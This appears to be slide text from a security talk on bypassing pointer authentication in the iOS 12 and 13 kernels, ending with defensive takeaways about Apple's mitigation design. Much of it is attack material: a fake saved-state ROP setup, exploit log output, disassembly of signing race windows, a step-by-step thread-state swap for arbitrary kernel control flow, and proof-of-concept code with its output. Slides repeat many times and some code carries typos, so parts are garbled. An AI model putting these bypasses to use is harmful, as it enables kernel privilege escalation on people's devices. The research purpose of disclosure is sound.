Kernel
Thread B (CPU 5)

User

Kernel

Thread A (CPU 4)

thread_set_state()

machine_thread_set_state

... BL thread_state64_to_saved_state ...

... thread_state64_to_saved_state ...

... MOV x8, x30 ...

... MOV x30, x8 ...

... RET

PC control!

if (cpu_4_interrupted) overwrite_saved_x8()
panic-full-2020-02-17-132114....

"build": "iPhone OS 13.3 (17C54)",
"product": "iPhone12,3",
"kernel": "Darwin Kernel Version 19.2.0: Mon Nov 4 17:46:45 PST 2019; root:xnu-6153.60.66~39/RELEASE_ARM64_T8030",
"incident": "30E07616-66A8-425C-8D40-4B570531CDF5",
"crashReporterKey": "bc51922c773e3ee642f1e730544045c6bd181e49",
"date": "2020-02-17 13:21:12.40 -0800",
"panicString": "panic(cpu 0 caller 0xffffffff01afa36dc): PC alignment exception from kernel. at pc 0xffffffff04141414, lr 0xffffffff0424242424
(saved state: 0xffffffff07777cb0)\n|t x0: 0x0000000000000000 x1: 0x0000000000000000 x2: 0x0000000000000000 x3: 0x0000000000000000 x4: 0x0000000000000000 x5: 0x0000000000000000 x6: 0x0000000000000000 x7: 0x0000000000000000 x8: 0x0000000000000000 x9: 0x0000000000000000 x10: 0x0000000000000000 x11: 0x0000000000000000 x12: 0x0000000000000000 x13: 0x0000000000000000 x14: 0x0000000000000000 x15: 0x0000000000000000 x16: 0x0000000000000000 x17: 0x0000000000000000 x18: 0x0000000000000000 x19: 0x0000000000000000 x20: 0x0000000000000000 x21: 0x0000000000000000 x22: 0x0000000000000000 x23: 0x0000000000000000 x24: 0x0000000000000000 x25: 0x0000000000000000 x26: 0x0000000000000000 x27: 0x0000000000000000 x28: 0x0000000000000000 x29: 0x0000000000000000 sp: 0xffffffff07777cb0 pc: 0xffffffff04141414 cpsr: 0x20400304
esr: 0x8a000000
far: 0xffffffff04141414\n\nDebugger message: panic\nMemory ID: 0x6\nOS version: 17C54\nKernel version: Darwin Kernel Version 19.2.0: Mon Nov 4 17:46:45 PST 2019; root:xnu-6153.60.66~39/RELEASE_ARM64_T8030\nKernel UUID: 25C048C5-E304-3E2E-BC84-6DF0B4E21F63\niBoot version: iBoot-5540.60.11\nsecure boot?: YES\nPaniclog version: 1\nKernel slide: 0x0000000000012ddc000\n
structure overwrite_state *state3 = (structure overwrite_state *) data;
structure overwrite_state *state2 = (structure overwrite_state *) (state3 + 1);
structure arm64e_saved_state *state1 = (structure arm64e_saved_state *) (state2 + 1);
// Initialize EROP.
state1->flavor = ARM_SAVED_STATE64;
state1->pc = ADDRESS(BR_X25);
state1->cpsr = KERNEL_CPSR_DAIIF;
state1->lr = ADDRESS(exception_return);
state1->x[16] = 0;
state1->x[17] = 0;
state1->pac_signature = kernel_fake_state_signature;
state1->sp = kernel_sp;
state1->x[25] = ADDRESS(STR_X9_X3__STR_X8_X4__RET);
state1->x[9] = kernel_state + overwrite_offset;
state1->x[3] = kernel_state + offsetof(struct arm64e_saved_state, x[0]);
state1->x[8] = ADDRESS(memmove);
state1->x[4] = kernel_state + offsetof(struct arm64e_saved_state, x[25]);
state1->x[21] = kernel_state;
state1->x[1] = kernel_state2;
state1->x[2] = sizeof(*state2);
state2->y[257] = ADDRESS(STD_Y0 STD_Y2 STD_Y4 STD_Y5_RET);

[+] tfp0: 0x11407
[+] PAC bypass
[+] Thread_set_state thread 1 enter
[+] Thread_set_state thread 0 enter
[+] Modified prompted thread state
[+] Thread is spinning on the spinning gadget
[+] Set register state for the signing gadget
[+] Thread is spinning on the signing gadget
[+] thread_set_state thread 0 exit
[+] Resumed normal execution
[+] thread_set_state thread 1 exit
[+] PAC bypass done
Bypass #6: Interrupts during thread state signing

Interrupts during thread state signing are unsafe

```assembly
machine_thread_state_initialize
...
LDR    X0, [X19,#thread.upcb] ; arm_context
CBZ    X0, loc_FFFFFFFF007CD2A34
MOV    W2, #0 ; cpsr
MOV    X1, #0 ; pc
MOV    X3, #0 ; lr
MOV    X4, #0 ; x16
MOV    X5, #0 ; x17
BL     sign_thread_state
...
```
Bypass #7: Interrupts during PACIA

- Another variant of the same bypass
- Interrupts are not just problematic for `sign_thread_state()`

```assembly
__bcopyin
...
MRS X10, TPIDR_EL1   ; thread
ADRL X3, copyio_error
ADD X11, X10, #thread.recover
MOVK X11, #0x1E02,LSL#48
PACIA X3, X11
LDR X11, [X10,#thread.recover]
STR X3, [X10,#thread.recover]
...
```
Bypass #7: Interrupts during PACIA

- Another variant of the same bypass
- Interrupts are not just problematic for `sign_thread_state()`

__bcopyin
...
MRS X10, TPIDR_EL1 ;; thread
ADRL X3, copyio_error
ADD X11, X10, #thread.recover
MOVK X11, #0x1E02,LSL#48
PACIA X3, X11
LDR X11, [X10,#thread.recover]
STR X3, [X10,#thread.recover]
...

An interrupt here would spill X3 and X11, which are unprotected
Bypass #8: LR spilled during exceptions

- EL1 exception vectors spill LR to memory
- LR read back before `sign_thread_state()`
- Overwrite spilled LR before signature is generated

```assembly
```

```
estp x2, x3, [x0,#arm_context.x2]
...mov x1, x30 ; pc
mov w2, w23 ; cpsr
ldr x3, [x0,#arm_context.lr] ; lr
mov x4, x16 ; x16
mov x5, x17 ; x17
bl sign_thread_state
```

```assembly
```

```
elt_sp0_fiq_vector_long
msr spsel, #0 ; sp_el0
sub sp, sp, #0x350
stp x0, x1, [sp,#arm_context.x0]
...  stp x29, x30, [sp,#arm_context.x29]
...  b fleh_dispatch64
```

```assembly
```

```
fleh_dispatch64
stp x2, x3, [x0,#arm_context.x2]
...mov x1, x30 ; pc
mov w2, w23 ; cpsr
ldr x3, [x0,#arm_context.lr] ; lr
mov x4, x16 ; x16
mov x5, x17 ; x17
bl sign_thread_state
```
Bypass #8: LR spilled during exceptions

- EL1 exception vectors spill LR to memory
- LR read back before `sign_thread_state()`
- Overwrite spilled LR before signature is generated
Bypass #8: LR spilled during exceptions

```assembly
spin_while_zero
LDR   X1, [X0]
CBZ   X1, spin_while_zero
RET
```
Bypass #8: LR spilled during exceptions

```
spin_while_zero

LDR     X1, [X0]
CBZ     X1, spin_while_zero
RET

el1_sp0_fiq_vector_long

...  
STP     X29, X30, [SP,#arm_context.x29]
...  
B      fleh_dispatch64

fleh_dispatch64

... 
LDR     X3, [X0,#arm_context.lr] ; lr
...  
BL      sign_thread_state
... 
```
Bypass #8: LR spilled during exceptions

```
spin_while_zero
  LDR  X1, [X0]
  CBZ  X1, spin_while_zero
  RET

ell_sp0_fiq_vector_long
  ...  
  STP  X29, X30, [SP,#arm_context.x29]
  ...  
  B    fleh_dispatch64

fleh_dispatch64
  ...  
  LDR  X3, [X0,#arm_context.lr] ; lr
  ...  
  BL   sign_thread_state
  ...  
```
Bypass #8: LR spilled during exceptions

```
spin_while_zero
  LDR    X1, [X0]
  CBZ    X1, spin_while_zero
  RET

ell_sp0_fiq_vector_long
  ...
  STP    X29, X30, [SP,#arm_context.x29]
  ...
  B      fleh_dispatch64

fleh_dispatch64
  ...
  LDR    X3, [X0,#arm_context.lr] ; lr
  ...
  BL     sign_thread_state
  ...
```
Bypass #8: LR spilled during exceptions

```
spin_while_zero
  LDR   X1, [X0]
  CBZ   X1, spin_while_zero
  RET

ell_sp0_fiq_vector_long
  ...  
  STP   X29, X30, [SP,#arm_context.x29]
  ...  
  B     fleh_dispatch64

fleh_dispatch64
  ...  
  LDR   X3, [X0,#arm_context.lr] ; lr
  ...  
  BL    sign_thread_state
  ...  
```
Bypass #8: LR spilled during exceptions

```
spin_while_zero
    LDR  X1, [X0]
    CBZ  X1, spin_while_zero
    RET

ell_sp0_fiq_vector_long
    ...
    STP  X29, X30, [SP,#arm_context.x29]
    ...
    B    fleh_dispatch64

fleh_dispatch64
    ...
    LDR  X3, [X0,#arm_context.lr] ; lr
    ...
    BL   sign_thread_state
    ...
```
Bypass #8: LR spilled during exceptions

```
spin_while_zero

LDR     X1, [X0]
CBZ     X1, spin_while_zero
RET

el1_sp0_fiq_vector_long

...  
...  
STP    X29, X30, [SP,#arm_context.x29]
...  
B      fleh_dispatch64
...

fleh_dispatch64

...  
...  
LDR     X3, [X0,#arm_context.lr] ; lr
...  
...  
BL      sign_thread_state
...  
```
Bypass #8: LR spilled during exceptions

spin_while_zero

LDR X1, [X0]
CBZ X1, spin_while_zero
RET

ell_sp0_fiq_vector_long

...;
STP X29, X30, [SP,#arm_context.x29]
...
B fleh_dispatch64

fleh_dispatch64

...;
LDR X3, [X0,#arm_context.lr] ; lr
...
B sign_thread_state

...
Bypass #8: LR spilled during exceptions

```
spin_while_zero
  LDR  X1, [X0]
  CBZ  X1, spin_while_zero
  RET

ellt_sp0_fiq_vector_long
  ...  
  STP  X29, X30, [SP,#arm_context.x29]
  ...  
  B    fleh_dispatch64

fleh_dispatch64
  ...  
  LDR  X3, [X0,#arm_context.lr] ; lr
  ...  
  BL   sign_thread_state
  ...

Signed state with controlled LR
```
Bypass #8: LR spilled during exceptions

Reading parameters from memory before `sign_thread_state()` is always insecure.
Bypass #9: `Switch_context() / Idle_context()`

```asm
Switch_context
  CBNZ X1, have_continuation_no_need_to_save
  LDR X3, [X0,#thread.kstackptr]
  STP X16, X17, [X3,#arm_context.x16]
  STP X19, X20, [X3,#arm_context.x19]
  ...  
  STP X29, X30, [X3,#arm_context.x29]
  ...
  MOV X0, X3 ; arm_context
  LDR X1, [X0,#arm_context.pc] ; pc
  LDR W2, [X0,#arm_context.cpsr] ; cpsr
  MOV X3, X30 ; lr
  MOV X4, X16 ; x16
  MOV X5, X17 ; x17
  BL sign_thread_state
  ...
RET
```
Bypass #9: Switch_context() / Idle_context()

```
Switch_context
  CBNZ  X1, have_continuation__no_need_to_save
  LDR  X3, [X0,#thread.kstackptr]
  STP  X16, X17, [X3,#arm_context.x16]
  STP  X19, X20, [X3,#arm_context.x19]
  ...
  STP  X29, X30, [X3,#arm_context.x29]
  ...
  MOV  X0, X3  ; arm_context
  LDR  X1, [X0,#arm_context.pc]  ; pc
  LDR  W2, [X0,#arm_context.cpsr]  ; cpsr
  MOV  X3, X30  ; lr
  MOV  X4, X16  ; x16
  MOV  X5, X17  ; x17
  BL    sign_thread_state
  ...
  RET
```

PC and CPSR are read from memory before signing.
Bypass #9: Switch_context() / Idle_context()

- **Switch_context()** manages thread states for voluntary kernel context switches
  - PC and CPSR are not needed/used

- While thread is active, write arbitrary PC+CPSR into its saved state blob
- **Switch_context()** is called, reads PC+CPSR, signs them into the saved state
- Use the saved state for an exception return with arbitrary PC+CPSR

There's a bigger issue here...
Design issue

- Fundamentally, there are 2 ways that signed thread states are used
  1. During exception return, via `exception_return`
  2. During kernel thread context switch, via `Switch_context()`
- These uses have different security requirements
  - `exception_return` to EL1 needs PC, CPSR, LR protected
  - `exception_return` to EL0 only needs CPSR protected
  - `Switch_context()` only needs LR protected
- Since thread states can be used in 2 different ways, thread states signed for `Switch_context()` should not be usable by `exception_return` and vice versa
- But there's only one `sign_thread_state()`...
  - Thread states signed for one purpose can be swapped and used for the other
Bypass #9: `Switch_context() / Idle_context()`

- Fundamental issue: Thread state signed by `Switch_context()` for context switching (which does not care about PC+CPSR) can instead be used for exception returns (which do)
- What about the inverse?
Bypass #10: Swapping user & kernel thread states

- `thread_set_state()` syscall can be used to set registers for user threads
- CPSR is restricted to EL0, but LR is unrestricted
  - Could place a kernel pointer in user LR; it would just fault
- Interacts poorly with `Switch_context()`, which uses LR but ignores CPSR

```c
thread_state64_to_saved_state()
{
    verify_thread_state(state, pc,
                        cpsr, lr, x16, x17);
    state->lr = new_lr;
    sign_thread_state(state, pc,
                      cpsr, new_lr, x16, x17);

    new_cpsr = new_state->cpsr & ~0x1F;
    verify_thread_state(state, pc,
                        cpsr, new_lr, x16, x17);
    state->cpsr = new_cpsr;
    sign_thread_state(state, pc,
                      new_cpsr, new_lr, x16, x17);
}
```
Bypass #10: Swapping user & kernel thread states

- Thread A: Block thread A by sending a Mach message to a filled Mach port
- Thread A: Register state is saved by `Switch_context()`
- Thread B: Set `thread_A->user_state = thread_A->kernel_state`
- Thread B: Call `thread_set_state(thread_A)` to set `kernel_state`'s LR to an arbitrary address and sign
- Thread B: Unblock thread A by receiving a Mach message on the filled port
- Thread A: `Switch_context()` to A causes a RET to the arbitrary address

100% reliable and deterministic
Thread A

kernel state

mach_msg()

Thread B

user state

swap_user_to_kernel_state()

thread_set_state()
Thread block reason

BL Switch_context

mach_msg()

Thread A

swap_user_to_kernel_state()
thread_set_state()

Thread B

Kernel state

User state

Thread A

Kernel state

User state
Thread A

mach_msg()

Thread B

swap_user_to_kernel_state()
thread_set_state()
Thread B

- `mach_msg()`

Kernel state

- `Switch_context`
- `STP     X29, X30, [X3,#arm_context.x29]`
- `LDR     X3, [X0,#arm_context.lr]`
- `MOV     X30, X3`
- `RET     X25`
- `X24`
- `X26`
- `X27`
- `X28`
- `X29`
- `LR`
- `SP`
- `PC`
- `CPSR`
- `pac_sig`

User state

- `thread A`
- `kstackptr`
- `upcb`
- `LR`
- `SP`
- `PC`
- `CPSR`
- `pac_sig`

User

- `thread_block_reason`
- `BL     Switch_context`
- `...`

Kernel

- `mach_msg()`
- `swap_user_to_kernel_state()`
- `thread_set_state()`
- `...`
Switch_context

... STP X29, X30, [X3,#arm_context.x29]
... LDR X3, [X0,#arm_context.lr]
... MOV X30, X3
... RET

thread_block_reason

... BL Switch_context
...
Thread A

mach_msg()

Thread B

- swap_user_to_kernel_state()
- thread_set_state()

Kernel state

User state

Switch_context

... STP X29, X30, [X3,#arm_context.x29]
... LDR X3, [X0,#arm_context.lr]
... MOV X30, X3
... RET

thread_block_reason

... BL Switch_context
...
Switch_context

... STP X29, X30, [X3,#arm_context.x29]
... LDR X3, [X0,#arm_context.lr]
... MOV X30, X3
... RET

thread_block_reason
... BL Switch_context
...

mach_msg()

swap_user_to_kernel_state()
thread_set_state()
Thread A

mach_msg()

Switch_context
...
STP X29, X30, [X3,#arm_context.x29]
...
LDR X3, [X0,#arm_context.lr]
...
MOV X30, X3
...
RET

thread_block_reason
...
BL Switch_context
...

Kernel state
::
::
X23
X24
X25
X26
X27
X28
X29
LR
SP
PC
CPSR
pac_sig

User state
X0
X1
X2
X3
X4
X5
X29
LR
SP
PC
CPSR
pac_sig

Kernel state

User state

Thread B

swap_user_to_kernel_state() ▶ thread_set_state()
Thread B

Switch_context
...  
STP  X29, X30, [X3,#arm_context.x29]
...  
LDR  X3, [X0,#arm_context.lr]
...  
MOV  X30, X3
...  
RET

thread_block_reason
...  
BL    Switch_context
...

Kernel state

User state

thread A

mach_msg()
Thread B

mach_msg()

Thread A

swap_user_to_kernel_state()

call thread_set_state()

Switch_context
  ...
  STP X29, X30, [X3,#arm_context.x29]
  ...
  LDR X3, [X0,#arm_context.lr]
  ...
  MOV X30, X3
  ...
  RET

thread_block_reason
  ...
  BL Switch_context
  ...

Kernel state
  ...
  LR
  SP
  PC
  CPSR
  pac_sig

Kernel

User

User state
  X0
  X1
  X2
  X3
  X4
  X5
  X29
  LR
  SP
  PC
  CPSR
  pac_sig

Thread A

upcb

kstackptr

pac_sig
Thread B

mach_msg()

Thread A

swap_user_to_kernel_state()
thread_set_state()
Thread B

mach_msg()

Thread A

Thread_set_state()

swap_user_to_kernel_state()
Thread A

mach_msg()

Thread B

swap_user_to_kernel_state()

thread_set_state()
Thread B

mach_msg()

Thread A

Switch_context

... STP X29, X30, [X3,#arm_context.x29]
... LDR X3, [X0,#arm_context.lr]
... MOV X30, X3
... RET

thread_block_reason
... BL Switch_context
...

Kernel state

Kernel state

Thread A

User state

Kernel state

User state

swap_user_to_kernel_state()
thread_set_state()
Switch_context
...
STP X29, X30, [X3,#arm_context.x29]
...
LDR X3, [X0,#arm_context.lr]
...
MOV X30, X3
...
RET

thread_block_reason
...
BL Switch_context
...

mach_msg()

kernel state

User state

swap_user_to_kernel_state()
thread_set_state()
Switch_context

... STP X29, X30, [X3,#arm_context.x29] ...
... LDR X3, [X0,#arm_context.lr] ...
... MOV X30, X3 ...
... RET

PC control!

thread_block_reason

... BL Switch_context ...

Kernel state

Kernel

User

User state

mach_msg()

Thread A

swap_user_to_kernel_state()
thread_set_state()

Thread B
67 // Fill the port. Trying to send one more after this will block.
68 send_message(receive_port);
69 // Create the thread, which will try to send a message and block.
70 pthread_t thread;
71 pthread_create(&thread, NULL, pthread_func, NULL);
72 while (thread_port == 0) {}  
73 uint64_t thread = 0;
74 kernel_ipc_port_lookup(current_task, thread_port, NULL, NULL, &thread);
75 printf("thread 0x%x -> 0x%llx\n", thread_port, thread);
76 // Sign the kernel thread state (kstackptr) via the userspace thread_set_state().
77 uint64_t upcb = kernel_read64(thread + 0x450);
78 uint64_t kstackptr = kernel_read64(thread + 0x478);
79 kernel_write64(thread + 0x450, kstackptr);
80 uint64_t sp = kernel_read64(kstackptr + 0x100);
81 arm_thread_state64_t state = { __1r = 0xffffffff042424242, __sp = sp };  
82 thread_set_state(thread_port, ARM_THREAD_STATE64, (thread_state_t) &state,
     ARM_THREAD_STATE64_COUNT);
83 kernel_write64(thread + 0x450, upcb);
84 printf("signed kstackptr thread state with kernel LR\n");
85 printf("thread->kstackptr->1r: %016llx\n", kernel_read64(kstackptr + 0xf8));
86 // Receive the message to jump to the LR.
87 printf("resuming thread\n");
88 receive_message(receive_port);

thread start
thread 0xa003 -> 0xffffffff0070b1540
signed kstackptr thread state with kernel LR
thread->kstackptr->1r: fffffff0424242424
resuming thread
Takeaways
# iOS kernel PAC bypasses

<table>
<thead>
<tr>
<th>Issue Description</th>
<th>iOS 12</th>
<th>iOS 13</th>
</tr>
</thead>
<tbody>
<tr>
<td>PAC signing gadget</td>
<td>1</td>
<td>1</td>
</tr>
<tr>
<td>PAC bruteforce gadget</td>
<td>1</td>
<td></td>
</tr>
<tr>
<td>Thread state signing gadget</td>
<td>2</td>
<td>2</td>
</tr>
<tr>
<td>Unprotected indirect branch</td>
<td>1</td>
<td></td>
</tr>
<tr>
<td>Implementation bug</td>
<td>1</td>
<td></td>
</tr>
<tr>
<td>Reusing signed states (design issue)</td>
<td></td>
<td>2</td>
</tr>
</tbody>
</table>
More thorough analysis could have helped

- PAC still feels quite ad hoc in iOS 13
  - What is the formal security model?
  - There might be a few fundamental issues remaining
- iOS 12: Apple fixed the POCs, but not the underlying issue
  - Interrupts were explicitly called out as attack vectors
- Important to look at the compiler output
  - Some issues don't appear in the C code
  - Pop the kernel into your favorite disassembler
PAC is still a good mitigation

- PAC as an exploit mitigation is independent of PAC as kernel CFI
- It has been quite successful at limiting exploitability of certain bug classes
  - Force attackers to use better bugs
- Lots of untapped potential in data PAC
  - Promising improvements in iOS 14
Kernel PAC bypasses are not *that* important

- In the world of LPE, a kernel PAC bypass seems like the cherry-on-top
- Perhaps an expensive upcharge when selling an exploit?
  - Used to maintain legacy implants that rely on kernel function calls?
- But kernel CFI is not the last line of defense keeping your device safe
  - Hardening the kernel is still more important for end user security